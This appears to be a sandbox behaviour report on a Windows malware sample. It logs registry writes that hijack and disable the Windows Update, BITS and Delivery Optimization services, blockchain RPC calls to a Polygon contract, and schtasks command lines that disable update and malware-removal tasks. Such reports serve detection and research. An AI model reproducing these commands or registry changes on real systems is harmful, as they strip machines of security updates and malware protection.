"@%systemroot%\system32\usocore.dll,-102") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "DEPENDONSERVICE"; Value: "rpcss") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "OBJECTNAME"; Value: "LocalSystem") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "SERVICESIDTYPE"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "DELAYEDAUTOSTART"; Value: "0000000000") "reg.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC\PARAMETERS") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC\PARAMETERS"; Key: "SERVICEDLL"; Value: "%systemroot%\system32\usocore.dll") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC\PARAMETERS"; Key: "SERVICEDLLUNLOADONSTOP"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC\PARAMETERS"; Key: "SERVICEMAIN"; Value: "ServiceMain") "reg.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "SVCHOSTSPLITDISABLE"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "SVCMEMHARDLIMITINMB"; Value: "F600000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "SVCMEMMIDLIMITINMB"; Value: "A700000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "SVCMEMSOFTLIMITINMB"; Value: "5800000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "DISPLAYNAME"; Value: "Windows Update")58:T718,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\SANDBOXFILTER"; Key: "SUPPORTEDFEATURES"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\SC.EXE"; Value: "") "sc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "")59:T3b10,"powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "PRESHUTDOWNTIMEOUT"; Value: "80EE360000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "SVCHOSTSPLITDISABLE"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "DISPLAYNAME"; Value: "@%systemroot%\system32\usocore.dll,-101") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "ERRORCONTROL"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "IMAGEPATH"; Value: "%systemroot%\system32\svchost.exe -k netsvcs") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "START"; Value: "0400000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "TYPE"; Value: "2000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "DESCRIPTION"; Value: "@%systemroot%\system32\usocore.dll,-102") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "DEPENDONSERVICE"; Value: "rpcss") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "OBJECTNAME"; Value: "LocalSystem") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "SERVICESIDTYPE"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "DELAYEDAUTOSTART"; Value: "0000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC\PARAMETERS"; Key: "SERVICEDLL"; Value: "%systemroot%\system32\usocore.dll") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC\PARAMETERS"; Key: "SERVICEDLLUNLOADONSTOP"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC\PARAMETERS"; Key: "SERVICEMAIN"; Value: "ServiceMain") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "SVCHOSTSPLITDISABLE"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "SVCMEMHARDLIMITINMB"; Value: "F600000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "SVCMEMMIDLIMITINMB"; Value: "A700000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "SVCMEMSOFTLIMITINMB"; Value: "5800000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "DISPLAYNAME"; Value: "Windows Update") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "ERRORCONTROL"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "IMAGEPATH"; Value: "%systemroot%\system32\svchost.exe -k netsvcs") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "START"; Value: "0400000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "TYPE"; Value: "2000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "DESCRIPTION"; Value: "@%systemroot%\system32\wuaueng.dll,-106") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "DEPENDONSERVICE"; Value: "rpcss") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "OBJECTNAME"; Value: "LocalSystem") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "SERVICESIDTYPE"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "FAILUREACTIONS"; Value: "80510100000000000000000003000000140000000100000060EA00000000000000000000000000000000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH"; Key: "DELAYEDAUTOSTART"; Value: "0000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH\PARAMETERS"; Key: "SERVICEDLL"; Value: "%systemroot%\system32\wuaueng.dll") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH\PARAMETERS"; Key: "SERVICEDLLUNLOADONSTOP"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH\PARAMETERS"; Key: "SERVICEMAIN"; Value: "WUServiceMain") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH\SECURITY"; Key: "SECURITY"; Value: "010014807800000084000000140000003000000002001C000100000002801400FF000F000101000000000001000000000200480003000000000014009D00020001010000000000050B00000000001800FF010F000102000000000005200000002002000000001400FF010F0001010000000000051200000001010000000000051200000001010000000000051200000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH\TRIGGERINFO\0"; Key: "TYPE"; Value: "0500000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH\TRIGGERINFO\0"; Key: "ACTION"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH\TRIGGERINFO\0"; Key: "GUID"; Value: "E6CA9F65DB5BA94DB1FFCA2A178D46E000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH\TRIGGERINFO\1"; Key: "TYPE"; Value: "0500000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH\TRIGGERINFO\1"; Key: "ACTION"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CLINNOWYYH\TRIGGERINFO\1"; Key: "GUID"; Value: "C846FB5489F04C46B1FD59D1B62C3B5000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "DISPLAYNAME"; Value: "@%SystemRoot%\system32\qmgr.dll,-1000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "ERRORCONTROL"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "IMAGEPATH"; Value: "%SystemRoot%\System32\svchost.exe -k netsvcs -p") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "START"; Value: "0400000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "TYPE"; Value: "2000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "DESCRIPTION"; Value: "@%SystemRoot%\system32\qmgr.dll,-1001") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "DEPENDONSERVICE"; Value: "RpcSs") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "OBJECTNAME"; Value: "LocalSystem") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "SERVICESIDTYPE"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "REQUIREDPRIVILEGES"; Value: "SeCreateGlobalPrivilege") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "FAILUREACTIONS"; Value: "80510100000000000000000003000000140000000100000060EA000001000000C0D40100000000000000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK"; Key: "DELAYEDAUTOSTART"; Value: "0000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PARAMETERS"; Key: "SERVICEDLL"; Value: "%SystemRoot%\System32\qmgr.dll") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PARAMETERS"; Key: "SERVICEDLLUNLOADONSTOP"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "CLOSE"; Value: "PerfMon_Close") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "COLLECT"; Value: "PerfMon_Collect") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "LIBRARY"; Value: "%WINDIR%\System32\bitsperf.dll") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "OPEN"; Value: "PerfMon_Open") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "INSTALLTYPE"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "PERFINIFILE"; Value: "bitsctrs.ini") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "FIRST COUNTER"; Value: "9218000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "LAST COUNTER"; Value: "A218000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "FIRST HELP"; Value: "9318000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "LAST HELP"; Value: "A318000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "OBJECT LIST"; Value: "6290") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\PERFORMANCE"; Key: "1008"; Value: "EB4D8349C02BDD0100") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\YIRXAJZNXK\SECURITY"; Key: "SECURITY"; Value: "0100148090000000A00000001400000034000000020020000100000002C0180000000C000102000000000005200000002002000002005C000400000000021400FF010F0001010000000000051200000000001800FF010F0001020000000000052000000020020000000014008D010200010100000000000504000000000014008D010200010100000000000506000000010200000000000520000000200200000102000000000005200000002002000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "SERVICEDLL"; Value: "%SystemRoot%\system32\dosvc.dll") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "SERVICEDLLUNLOADONSTOP"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "SVCMEMHARDLIMITINMB"; Value: "2700000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "SVCMEMMIDLIMITINMB"; Value: "1B00000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "SVCMEMSOFTLIMITINMB"; Value: "0F00000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "DISPLAYNAME"; Value: "@%systemroot%\system32\dosvc.dll,-100") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "ERRORCONTROL"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "IMAGEPATH"; Value: "%SystemRoot%\System32\svchost.exe -k NetworkService -p") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "START"; Value: "0400000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "TYPE"; Value: "2000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "DESCRIPTION"; Value: "@%systemroot%\system32\dosvc.dll,-101") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "DEPENDONSERVICE"; Value: "rpcss") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "OBJECTNAME"; Value: "NT Authority\NetworkService") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "SERVICESIDTYPE"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "FAILUREACTIONS"; Value: "80510100000000000000000003000000140000000100000060EA00000100000060EA0000000000000000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV"; Key: "DELAYEDAUTOSTART"; Value: "0000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV\SECURITY"; Key: "SECURITY"; Value: "01001480A0000000AC000000140000003000000002001C000100000002801400FF010F000101000000000001000000000200700004000000000014009D00020001010000000000050B00000000001800FF010F000102000000000005200000002002000000001400FF010F0001010000000000051200000000002800020002000106000000000005500000004DF819B6B3A77FE3939A10EE205D51AB9B39B98201010000000000051200000001010000000000051200000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV\TRIGGERINFO\0"; Key: "TYPE"; Value: "0700000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV\TRIGGERINFO\0"; Key: "ACTION"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV\TRIGGERINFO\0"; Key: "GUID"; Value: "16287A2D5E0CFC459CE7570E5ECDE9C900") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV\TRIGGERINFO\0"; Key: "DATA0"; Value: "7510BCA32901C64100") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV\TRIGGERINFO\0"; Key: "DATATYPE0"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV\TRIGGERINFO\1"; Key: "TYPE"; Value: "0500000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV\TRIGGERINFO\1"; Key: "ACTION"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DFNLRCNBCV\TRIGGERINFO\1"; Key: "GUID"; Value: "E6CA9F65DB5BA94DB1FFCA2A178D46E000")5a:Tb5c,"POST / HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.43 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 OPR/129.0.0.0 Host: polygon-public.nodies.app Content-Length: 136 Cache-Control: no-cache" with payload::==> "{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xC4eC9B7be1c2A0B39Eca678673DcB9164CA5df53","data":"0x11582022"},"latest"],"id":1}" HTTP/1.1 403 Forbidden Date: Fri 14 Aug 2026 08:14:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 110 Connection: keep-alive server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=q0zm5fPmO%2FkUGeiQ1Om36j0I44rjH%2B93MaQdkw46p%2FodgPOucAZ%2BcGqN9f2OGj0nQC0m9pCl5bj8Y9fiUkZHWbGIFHA0Pe7mXaCz%2FybJ6JqccQ2RPobzbLUvgbFSLeKBf%2Bgv8KvpTYTmVJI%3D"}]} CF-RAY: a2ae80f6bbe24801-SJC with response body ==>546865206E6574776F726B206F66207468697320656E64706F696E742072657175697265732061207061696420737562736372697074696F6E20706C616E2E20....... "POST / HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.43 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 OPR/129.0.0.0 Host: polygon.lava.build Content-Length: 136 Cache-Control: no-cache" with payload::==> "{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xC4eC9B7be1c2A0B39Eca678673DcB9164CA5df53","data":"0x11582022"},"latest"],"id":1}" HTTP/1.1 200 OK Date: Fri 14 Aug 2026 08:14:03 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare lava-provider-address: lava@1uz5dehdp55pkhktc94m8xd62w4r8n03mffe8fp provider-latest-block: 91993478 lava-guid: 3603640395367229420 lava-user-request-type: eth_call vary: Accept-Encoding access-control-allow-credentials: true access-control-allow-headers: * access-control-allow-methods: * access-control-allow-origin: * lava-origin: mainnet-iprpc-us-6 cf-cache-status: DYNAMIC set-cookie: __cf_bm=zbySLSHSx2nfRjDr42AUWrvWOB6uIQSsi64Ttpt9skk-1786695243.5690262-1.0.1.1-zUsjKkuLBWt8tXvm53hHaqrEHS4suZ_BRbW_bzUFj1kdnGW79a0OeWeA.chyT_MAuf.xmCrel2cf8OXDdv4mpuyRk5KYf_pfNOGC0ouHIxJEwPF3ogoU_0UQn8BrhM6h; HttpOnly; SameSite=None; Secure; Path=/; Domain=lava.build; Expires=Fri 14 Aug 2026 08:44:03 GMT set-cookie: _cfuvid=KFfJkqMkqERHEtrrY_i0oRlSXRDtn4Ox8dQF09EAuvg-1786695243.5690262-1.0.1.1-1mXa4NKnQPrpA4qMYdPjX69fIDtAdweIWUT1yikYYI8; HttpOnly; SameSite=None; Secure; Path=/; Domain=lava.build Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=3 cfOrigin;dur=174 CF-RAY: a2ae80f84d57eb21-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226A736F6E727063223A22322E30222C226964223A312C22726573756C74223A22307830303030303030303030303030303030303030303030303030303030.......5b:T741,Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /Disable" (UID: 00000000-00000332) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /Disable" (UID: 00000000-00003224) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /Disable" (UID: 00000000-00003876) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Scan" /Disable" (UID: 00000000-00002572) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Scan Static Task" /Disable" (UID: 00000000-00001816) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Work" /Disable" (UID: 00000000-00000744) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Wake To Work" /Disable" (UID: 00000000-00002484) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\USO_UxBroker" /Disable" (UID: 00000000-00002576) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Reboot_AC" /Disable" (UID: 00000000-00003864) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Reboot_Battery" /Disable" (UID: 00000000-00005220) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\WaaSMedic\\PerformRemediation" /Disable" (UID: 00000000-00003368) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\MRT\\MRT_HB" /Disable" (UID: 00000000-00003800) Process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows Removal Tools\\MRT_HB" /Disable" (UID: 00000000-00004568)5c:T1a4d,Spawned process "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (UID: 